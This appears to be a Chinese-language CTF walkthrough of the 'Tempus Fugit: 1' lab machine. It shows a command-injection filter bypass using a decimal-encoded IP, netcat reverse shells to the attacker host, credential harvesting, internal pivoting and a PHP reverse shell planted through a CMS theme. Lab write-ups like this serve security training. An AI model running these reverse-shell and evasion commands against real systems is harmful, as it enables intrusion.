TEMPUS FUGIT: 1

news/2024/11/24 3:02:45/

环境准备

靶机链接:百度网盘 请输入提取码

提取码:d3du

虚拟机网络链接模式:NET模式

攻击机系统:kali linux 2022.03

信息收集

探测目标靶机开放端口和服务情况。

nmap -p- -A -sV 192.168.255.132

nmap --script=vuln -p 80 192.168.255.132 扫描常见漏洞

nmap 192.168.255.132 -sU UDP端口扫描

漏洞利用

1.访问网页发现一个上传点,上传木马文件;

上传失败后,提示只允许上传的文件类型。

2.发现命令执行漏洞,执行whoami;成功执行,是root权限。

3.直接本地开启监听,用nc反弹shell

nc -e /bin/sh 192.168.255.131 4444

4.没有反弹成功,尝试查看靶机是否安装了nc

5.报错500 可能对whereis进行了过滤,已知nc:目录在/usr/bin/nc下,用ls命令查看

6.依然报500,那么网站对/过滤

7.ls执行后,发现一个main.py的文件

8.查看下,发现依然报错;

cat main.py

9.可能对后缀名为py文件过滤,用 ”* “

cat main.*

10.成功查看到main文件,说明对"."过滤

cat main*

11.对"."和"/"过滤,那么反弹shell命令的ip改成长类型的十进制

3232300931

12.本地开启监听,反弹成功。

nc 3232300931 4444 -e bash

13.反弹交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

docker容器

1.查看message.txt提示还没有做完!这是一个docker容器的root。

cd /app

2.在main.py里查看到ftp的域名和用户名和密码。

ftp.mofo.pwn

someuser b232a4da4c104798be4613ab76d26efda1a04606

3.ifconfig查看ip ,ping ftp的域名,得到真实ip

4.ftp登录下,发下没有,有一个lftp

5.登录成功后得到一个cms的用户名和密码信息

Admin-password for our new CMS

hardEnough4u

6.使用nmap命令后,报没有找到,apt命令安装又不行。在.ncftp下找到linux的版本

7.谷歌后知道用apk命令安装nmap

8.apk add nmap

nmap -sn 172.16.0.0/24 对目标进行ping检测 禁用端口扫描

获得内网存活主机为:

172.19.0.1

172.19.0.12 ftp

172.19.0.100 dns

172.19.0.10 本机

猜测172.19.0.1为主机ip

添加路由 ip route add 172.19.0.0/24 via 192.168.255.131

9.nmap后看到开放的22、80、8080端口

10.访问后跟之前的一样

11.将域名添加到/etc/hosts下

12.访问8080端口,找到之前说的cms。

13.扫描目录,得到admin目录

dirsearch -u http://ourcms.mofo.pwn:8080 --exclude-status 400,401,403,404,405,501,503

14.用用户名密码登录。

15.修改主题

16.把内容改为php-reverse-shell.php的内容 保存。

http://ourcms.mofo.pwn:8080/theme/Innovation/template.php

权限提升

1.开启监听后,访问网址,成功反弹shell

2.提权没成功


http://www.ppmy.cn/news/53580.html

相关文章

基于Stackelberg博弈的光伏用户群优化定价模型(Matlab代码实现)

💥 💥 💞 💞 欢迎来到本博客 ❤️ ❤️ 💥 💥 🏆 博主优势: 🌞 🌞 🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 …

云HIS系统源码,部署云端,支持多租户,实现医疗数据共享与交换

云HIS系统源码,医院信息管理系统源码。采用云端SaaS服务的方式提供,采用前后端分离架构,前端由Angular语言、JavaScript开发;后端使用Java语言开发。 文末获取联系! 基于云计算技术的B/S架构的云HIS系统,采…

nmap常用命令

一、nmap简介 Nmap,也就是Network Mapper。nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一&…

Vue进阶-Vue cli项目搭建、项目基本操作、axios的使用、路由、Vuex

Vue进阶 Vue cli 一、Vue cli 概述 CLI 全称是 Commond Line Interface,翻译为命令行界面,俗称脚手架。VueCLI是一个官方发布vue.js项目脚手架。用VueCLI 可快速搭建Vue开发环境以及对应webpack配置。 二、环境搭建 1、下载 node.js 下载地址&…

入门力扣自学笔记262 C++ (题目编号:2418)

2418. 按身高排序 题目: 给你一个字符串数组 names ,和一个由 互不相同 的正整数组成的数组 heights 。两个数组的长度均为 n 。 对于每个下标 i,names[i] 和 heights[i] 表示第 i 个人的名字和身高。 请按身高 降序 顺序返回对应的名字数…

2023年某科技公司前端开发初级岗的面试笔试真题(含选择题答案、问答题解析、机试题源码)

📚关于该专栏: 该专栏的发布内容是前端面试中笔试部分真题、答卷类、机试等等的题目,题目类型包括逻辑题、算法题、选择题、问答题等等,除了内容的分享,还有解析和答案。真实来自某些互联网公司,坐标广东广州。 🔥🔥🔥 持 续 更 新 🔥🔥🔥 😉专栏博主: 黛…

【云原生】prometheus监控告警之实现alertmanager高可用实战

前言 🏠个人主页:我是沐风晓月 🧑个人简介:大家好,我是沐风晓月,阿里云社区博客专家😉😉 💕 座右铭: 先努力成长自己,再帮助更多的人 ,一起加油进步🍺🍺🍺 💕欢迎大家:这里是CSDN,我总结知识的地方,喜欢的话请三连,有问题请私信😘文章目录 前言…

使用openssl生成https证书

首先去官网下载openssl工具:Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions (slproweb.com) 然后安装完成需要执行(1)openssl genrsa -des3 -out root.key 1024 (2)openssl req -new -key ro…